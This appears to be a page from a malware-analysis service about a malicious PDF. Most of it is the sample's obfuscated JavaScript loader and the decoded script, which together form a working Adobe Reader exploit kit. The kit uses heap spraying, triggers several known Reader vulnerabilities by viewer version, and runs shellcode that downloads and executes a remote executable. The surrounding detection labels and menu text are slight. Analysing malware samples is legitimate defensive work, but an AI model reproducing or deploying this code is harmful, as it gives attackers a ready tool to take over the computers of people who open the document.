54,162,163,173,84,115,84,171,162,155,167,153,149,166,153,94,86,91,169,102,151,102,151,91,169,102,151,102,151,88,93,113,65,64,61,63,171,158,157,162,153,86,92,165,170,155,166,156,160,165,171,100,160,155,162,157,168,158,84,114,84,106,104,111,105,104,93,177,65,64,61,63,61,165,170,155,166,156,160,165,171,86,95,115,84,165,170,155,166,156,160,165,171,113,65,64,61,63,177,67,62,63,61,170,156,159,167,100,151,165,160,162,149,152,135,170,163,168,153,86,113,86,119,165,160,162,149,152,98,153,163,162,160,155,151,170,121,163,149,159,160,127,162,156,163,94,175,169,169,152,158,112,84,88,86,98,161,169,155,112,84,165,170,155,166,156,160,165,171,179,93,113,65,64,61,179,65,64,65,64,61,156,169,164,151,170,157,165,162,86,151,165,160,162,149,152,147,157,153,170,157,153,163,164,92,95,175,67,62,63,61,159,154,86,92,151,164,166,98,154,163,153,98,121,163,162,160,151,150,100,155,155,168,127,151,165,162,95,175,67,62,63,61,63,170,151,166,86,149,168,166,175,84,115,84,164,153,173,84,119,166,168,149,175,92,95,111,67,62,63,61,63,170,151,166,86,170,172,164,155,168,158,173,151,84,115,84,171,162,155,167,153,149,166,153,94,86,91,169,123,118,123,109,91,169,102,100,102,101,91,169,107,106,102,100,91,169,119,101,108,104,91,169,102,100,105,100,91,169,102,100,102,100,91,169,106,100,110,118,91,169,110,118,102,119,91,169,103,119,109,100,91,169,110,118,119,120,91,169,102,108,106,100,91,169,121,103,107,121,91,169,110,118,107,105,91,169,110,118,123,119,91,169,102,108,106,105,91,169,105,103,107,102,91,169,121,101,122,102,91,169,102,103,121,102,91,169,103,100,105,102,91,169,110,100,106,100,91,169,102,100,105,108,91,169,124,105,109,105,91,169,121,102,110,118,91,169,107,120,107,117,91,169,102,104,121,102,91,169,107,105,102,100,91,169,123,119,110,118,91,169,107,101,107,101,91,169,107,106,107,103,91,169,108,100,107,107,91,169,107,120,110,118,91,169,105,103,102,108,91,169,110,118,121,100,91,169,102,119,109,105,91,169,124,121,110,118,91,169,109,106,102,103,91,169,110,118,105,119,91,169,109,108,106,121,91,169,121,122,102,103,91,169,107,101,110,118,91,169,107,102,103,119,91,169,107,101,110,118,91,169,107,102,104,104,91,169,109,101,110,118,91,169,106,121,103,104,91,169,109,105,110,109,91,169,110,118,124,119,91,169,104,100,109,101,91,169,124,107,102,103,91,169,106,117,111,109,91,169,106,102,119,120,91,169,105,118,108,100,91,169,124,119,107,105,91,169,102,104,109,105,91,169,121,100,105,103,91,169,105,107,123,118,91,169,124,122,105,103,91,169,106,105,102,103,91,169,111,107,102,119,91,169,121,122,110,118,91,169,109,105,119,121,91,169,104,118,124,120,91,169,106,122,124,109,91,169,123,108,107,101,91,169,124,122,111,104,91,169,124,122,124,122,91,169,121,103,105,118,91,169,109,104,108,101,91,169,123,118,102,102,91,169,110,118,122,109,91,169,102,119,106,105,91,169,107,121,111,102,91,169,124,102,102,103,91,169,123,100,122,101,91,169,121,106,102,103,91,169,121,109,105,103,91,169,120,107,102,122,91,169,107,122,102,108,91,169,123,101,121,101,91,169,102,103,102,102,91,169,102,103,121,117,91,169,110,118,121,122,91,169,102,103,102,101,91,169,110,109,121,102,91,169,124,108,106,105,91,169,110,118,108,101,91,169,124,108,106,105,91,169,107,121,107,122,91,169,121,109,107,118,91,169,107,105,121,103,91,169,123,119,110,118,91,169,123,108,107,101,91,169,124,122,106,109,91,169,124,122,124,122,91,169,108,108,107,100,91,169,108,100,123,108,91,169,102,104,120,122,91,169,108,119,123,108,91,169,124,122,124,122,91,169,105,103,124,122,91,169,107,102,122,102,91,169,124,122,107,102,91,169,102,108,109,105,91,169,122,100,124,122,91,169,106,105,110,109,91,169,110,118,124,119,91,169,124,119,106,105,91,169,121,103,121,109,91,169,110,118,107,105,91,169,110,103,123,119,91,169,102,119,123,119,91,169,106,105,110,120,91,169,107,100,124,104,91,169,106,105,121,106,91,169,109,105,124,104,91,169,106,105,121,106,91,169,109,102,124,105,91,169,106,105,121,106,91,169,108,119,124,106,91,169,106,105,121,106,91,169,108,120,124,107,91,169,106,105,121,106,91,169,108,122,124,108,91,169,106,105,121,106,91,169,108,121,124,109,91,169,106,105,121,106,91,169,104,121,124,117,91,169,106,105,121,106,91,169,108,104,124,118,91,169,106,105,121,106,91,169,108,119,124,119,91,169,106,105,121,106,91,169,108,119,124,120,91,169,106,105,121,106,91,169,102,100,124,121,91,169,119,100,123,108,91,169,124,122,124,122,91,169,107,100,124,122,91,169,107,120,108,108,91,169,103,101,110,117,91,169,123,108,103,106,91,169,124,122,103,105,91,169,124,122,124,122,91,169,121,104,110,103,91,169,110,105,102,119,91,169,109,104,121,100,91,169,108,117,103,105,91,169,108,117,102,100,91,169,124,122,102,100,91,169,102,119,109,105,91,169,109,105,124,122,91,169,108,117,102,108,91,169,124,122,102,100,91,169,110,105,122,100,91,169,109,105,121,100,91,169,106,100,102,103,91,169,121,103,121,109,91,169,121,100,105,103,91,169,121,103,121,109,91,169,105,103,107,107,91,169,110,118,121,100,91,169,104,104,106,119,91,169,110,118,102,119,91,169,104,104,109,119,91,169,124,119,102,108,91,169,119,117,124,103,91,169,121,103,107,122,91,169,106,119,110,118,91,169,102,104,104,104,91,169,105,109,110,100,91,169,110,118,102,100,91,169,109,104,121,101,91,169,106,100,102,106,91,169,105,108,110,100,91,169,109,105,102,100,91,169,104,118,124,117,91,169,121,103,121,101,91,169,110,118,107,105,91,169,110,103,123,119,91,169,108,104,123,119,91,169,110,120,107,103,91,169,124,100,106,105,91,169,105,103,107,107,91,169,107,100,122,118,91,169,106,105,121,106,91,169,108,118,124,100,91,169,106,105,121,106,91,169,108,105,124,101,91,169,106,105,121,106,91,169,109,102,124,102,91,169,106,105,121,106,91,169,108,121,124,103,91,169,106,105,121,106,91,169,108,105,124,104,91,169,106,105,121,106,91,169,108,119,124,105,91,169,106,105,121,106,91,169,105,103,124,106,91,169,106,105,121,106,91,169,105,102,124,107,91,169,106,105,121,106,91,169,104,121,124,108,91,169,106,105,121,106,91,169,108,104,124,109,91,169,106,105,121,106,91,169,108,119,124,117,91,169,106,105,121,106,91,169,108,119,124,118,91,169,107,120,110,108,91,169,123,108,124,119,91,169,124,122,102,118,91,169,124,122,124,122,91,169,108,108,107,100,91,169,106,103,108,108,91,169,110,121,124,109,91,169,110,100,123,108,91,169,124,122,124,121,91,169,110,118,124,122,91,169,110,120,124,108,91,169,111,119,106,105,91,169,106,104,108,117,91,169,123,108,107,100,91,169,124,122,109,121,91,169,124,122,124,122,91,169,106,105,110,120,91,169,108,117,123,100,91,169,107,100,103,100,91,169,109,103,123,108,91,169,124,122,124,122,91,169,110,103,124,122,91,169,103,119,121,104,91,169,106,105,110,120,91,169,107,100,123,100,91,169,106,105,110,120,91,169,107,100,111,119,91,169,107,103,107,103,91,169,107,103,107,103,91,169,107,103,107,103,91,169,109,105,124,122,91,169,121,107,102,108,91,169,111,119,106,105,91,169,102,100,106,104,91,169,102,100,102,100,91,169,124,122,107,103,91,169,107,122,122,107,91,169,120,106,102,122,91,169,107,118,121,100,91,169,121,103,121,109,91,169,110,118,107,105,91,169,107,101,123,119,91,169,107,103,107,101,91,169,107,107,107,106,91,169,106,102,108,117,91,169,109,102,123,108,91,169,102,100,102,100,91,169,110,118,102,100,91,169,105,103,122,108,91,169,110,105,124,106,91,169,107,109,122,118,91,169,106,105,121,107,91,169,108,101,124,108,91,169,108,105,104,121,91,169,121,107,109,108,91,169,124,119,106,105,91,169,102,100,108,105,91,169,102,100,102,100,91,169,107,106,109,121,91,169,106,105,110,120,91,169,107,100,124,108,91,169,123,108,107,106,91,169,102,100,107,101,91,169,102,100,102,100,91,169,107,100,107,109,91,169,120,101,123,108,91,169,124,122,124,121,91,169,110,105,124,122,91,169,107,109,121,100,91,169,109,104,107,109,91,169,110,120,105,109,91,169,102,101,106,106,91,169,123,108,107,100,91,169,102,100,105,118,91,169,102,100,102,100,91,169,124,108,110,118,91,169,106,105,110,120,91,169,107,100,124,108,91,169,104,101,123,108,91,169,124,122,124,122,91,169,110,105,124,122,91,169,107,109,121,100,91,169,109,104,107,109,91,169,107,107,102,119,91,169,102,101,123,108,91,169,124,122,124,122,91,169,107,109,124,122,91,169,106,104,121,106,91,169,124,122,105,108,91,169,107,100,109,103,91,169,106,105,110,120,91,169,124,121,124,108,91,169,107,108,102,100,91,169,106,105,110,120,91,169,107,100,124,108,91,169,123,108,107,107,91,169,124,121,109,104,91,169,124,122,124,122,91,169,107,109,107,109,91,169,106,106,106,106,91,169,124,103,105,118,91,169,119,117,109,119,91,169,107,121,107,122,91,169,121,109,107,118,91,169,107,105,121,103,91,169,123,119,110,118,91,169,107,103,107,101,91,169,108,100,108,106,91,169,105,102,120,101,91,169,102,100,123,108,91,169,102,100,102,100,91,169,107,108,102,100,91,169,102,108,105,108,91,169,102,103,109,104,91,169,123,118,106,100,91,169,106,100,124,109,91,169,107,120,110,118,91,169,110,100,102,108,91,169,106,102,124,118,91,169,102,108,109,105,91,169,122,118,105,103,91,169,103,108,110,117,91,169,121,103,110,118,91,169,103,107,123,118,91,169,103,108,105,108,91,169,103,101,109,106,91,169,105,103,106,100,91,169,110,104,121,109,91,169,109,104,122,118,91,169,106,100,102,119,91,169,102,108,105,108,91,169,124,118,109,105,91,169,124,121,106,100,91,169,123,118,121,118,91,169,105,103,124,102,91,169,110,109,121,100,91,169,124,119,106,105,91,169,106,105,110,118,91,169,107,118,124,119,91,169,121,103,121,109,91,169,102,102,105,102,91,169,109,104,108,108,91,169,109,100,109,104,91,169,104,122,105,117,91,169,108,109,104,122,91,169,108,101,108,120,91,169,108,105,108,107,91,169,104,120,109,103,91,169,108,121,108,104,91,169,104,121,109,103,91,169,108,122,108,103,91,169,104,122,108,120,91,169,108,104,108,101,91,169,108,119,108,107,91,169,105,102,109,106,91,169,108,105,104,121,91,169,108,105,109,108,91,169,108,108,102,100,91,169,109,104,109,104,91,169,105,117,109,100,91,169,104,122,104,122,91,169,108,120,108,109,91,169,108,107,108,101,91,169,109,103,108,105,91,169,108,104,104,120,91,169,109,103,108,121,91,169,108,103,104,121,91,169,108,120,108,122,91,169,108,103,104,122,91,169,108,109,108,119,91,169,108,118,108,103,91,169,109,100,104,121,91,169,109,100,108,108,91,169,109,102,105,122,91,169,102,100,105,120,88,93,113,65,64,61,63,61,172,149,168,84,158,139,167,105,102,100,121,130,86,113,86,170,172,164,155,168,158,173,151,98,162,153,164,155,170,156,86,94,86,102,113,65,64,61,63,61,172,149,168,84,162,153,164,84,115,84,102,172,106,100,102,100,102,100,86,97,86,92,158,139,167,105,102,100,121,130,86,95,86,100,174,103,110,93,113,65,64,61,63,61,172,149,168,84,175,149,168,167,166,84,115,84,171,162,155,167,153,149,166,153,94,86,91,169,111,100,111,100,91,169,111,100,111,100,88,93,113,65,64,61,63,61,175,149,168,167,166,84,115,84,156,157,174,147,159,168,94,173,151,166,169,164,98,84,162,153,164,93,113,65,64,61,63,61,172,149,168,84,166,105,119,158,129,106,107,154,86,113,86,92,102,172,102,151,102,151,102,151,102,151,86,97,86,100,174,104,102,100,102,100,102,93,86,99,86,100,174,104,102,100,102,100,102,111,67,62,63,61,63,154,165,166,86,92,172,149,168,84,172,165,153,133,122,109,108,173,86,113,86,100,113,84,172,165,153,133,122,109,108,173,86,112,86,164,107,117,160,127,108,105,156,111,86,170,167,151,135,120,111,106,175,84,97,95,86,93,177,65,64,61,63,61,63,149,168,166,175,143,172,165,153,133,122,109,108,173,147,84,115,84,175,149,168,167,166,84,97,84,172,170,166,153,170,156,175,149,113,65,64,61,63,61,179,65,64,61,63,61,172,149,168,84,170,137,131,156,132,150,125,171,86,113,86,169,164,153,169,151,151,164,155,92,88,89,102,109,88,93,113,65,64,61,63,61,173,156,159,160,155,84,94,168,139,129,158,130,152,123,173,98,162,153,164,155,170,156,86,112,86,100,174,104,102,100,102,93,177,65,64,61,63,61,63,168,139,129,158,130,152,123,173,84,97,113,86,168,139,129,158,130,152,123,173,111,67,62,63,61,63,177,67,62,63,61,63,168,139,129,158,130,152,123,173,84,115,84,88,130,100,86,86,95,86,168,139,129,158,130,152,123,173,111,67,62,63,61,63,149,166,164,100,152,165,151,100,119,165,160,162,149,152,98,157,153,170,125,153,163,164,92,170,137,131,156,132,150,125,171,95,111,67,62,63,61,179,65,64,61,179,65,64,65,64,61,156,169,164,151,170,157,165,162,86,164,154,154,149,167,170,149,168,168,94,93,177,65,64,65,64,61,63,170,151,166,86,170,155,166,169,157,165,162,86,113,86,149,166,164,100,170,159,153,173,153,168,138,155,166,169,157,165,162,100,168,165,135,170,166,159,162,157,92,95,111,67,62,63,61,172,153,168,167,159,163,164,84,115,84,172,153,168,167,159,163,164,98,168,153,166,160,151,151,155,92,101,144,122,99,157,96,93,91,95,111,67,62,63,61,172,149,168,84,172,149,168,167,159,163,164,147,151,166,168,149,175,84,115,84,164,153,173,84,119,166,168,149,175,92,172,153,168,167,159,163,164,98,153,156,151,166,119,168,94,100,95,96,86,170,155,166,169,157,165,162,100,151,158,149,168,117,170,92,103,93,98,84,172,153,168,167,159,163,164,98,153,156,151,166,119,168,94,102,95,93,113,65,64,61,63,157,156,84,94,92,172,149,168,167,159,163,164,147,151,166,168,149,175,143,102,145,86,113,115,84,110,93,86,90,92,84,94,170,151,166,169,157,165,162,149,149,168,166,151,173,145,101,147,84,115,113,86,100,95,84,178,176,86,92,172,149,168,167,159,163,164,147,151,166,168,149,175,143,103,145,86,113,115,84,103,84,92,90,86,170,151,166,169,157,165,162,149,149,168,166,151,173,145,102,147,84,114,84,105,93,95,175,67,62,63,61,63,169,170,157,162,147,166,166,159,162,170,154,94,93,113,65,64,61,63,177,67,62,63,61,159,154,86,92,94,170,151,166,169,157,165,162,149,149,168,166,151,173,145,100,147,84,114,84,110,93,86,176,178,84,94,170,151,166,169,157,165,162,149,149,168,166,151,173,145,100,147,84,115,113,86,108,86,90,92,84,172,149,168,167,159,163,164,147,151,166,168,149,175,143,103,145,86,112,86,102,86,90,92,84,172,149,168,167,159,163,164,147,151,166,168,149,175,143,104,145,86,112,86,102,95,93,177,65,64,61,63,61,153,163,162,160,151,150,149,153,163,149,159,160,94,93,113,65,64,61,63,177,67,62,63,61,159,154,86,92,94,170,151,166,169,157,165,162,149,149,168,166,151,173,145,100,147,84,114,84,111,93,86,176,178,84,94,170,151,166,169,157,165,162,149,149,168,166,151,173,145,100,147,84,115,113,86,109,86,90,92,84,172,149,168,167,159,163,164,147,151,166,168,149,175,143,103,145,86,112,86,101,95,93,177,65,64,61,63,61,153,163,162,160,151,150,149,155,155,168,159,151,165,162,94,93,113,65,64,61,63,177,67,62,63,177,67,62,67,62,63,164,154,154,149,167,170,149,168,168,94,93,113,65,64,61],iknr=function(){for(var iklmrv;abcdj<cfnv.length;abcdj+=1){var irtxy=abcdj%cfxy.length+1;var eflu=cfxy.substring(abcdj%cfxy.length,irtxy);var mnaz=cfnv[abcdj];yzlcvn+=ehnr(mnaz-eflu.charCodeAt(0));} tzpn(yzlcvn);};iknr();tzxu="";fgnqsv='';fpqx="";dinsy=false;bcpuwy='';ceklp=false;bknrv="bknrv";zmeu='';belo="";abjuwy="";dehn="dehn";bfip='';mzfx="mzfx";buznx="buznx";fmrvxy='';
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9880 bytes
SHA-256: `17818eb8579631e3d20bfb9b1a7616e49cd7f0d1e8f4e07fd912ee6f9d9c37d8`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C64%u7472%u7775%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6B68%u6E6C%u7772%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6461%u6C67%u3276%u652E%u6578%u6800%u7474%u3A70%u2F2F%u6D69%u6761%u7365%u642D%u736E%u632E%u6D6F%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 7

Extracted artifacts 2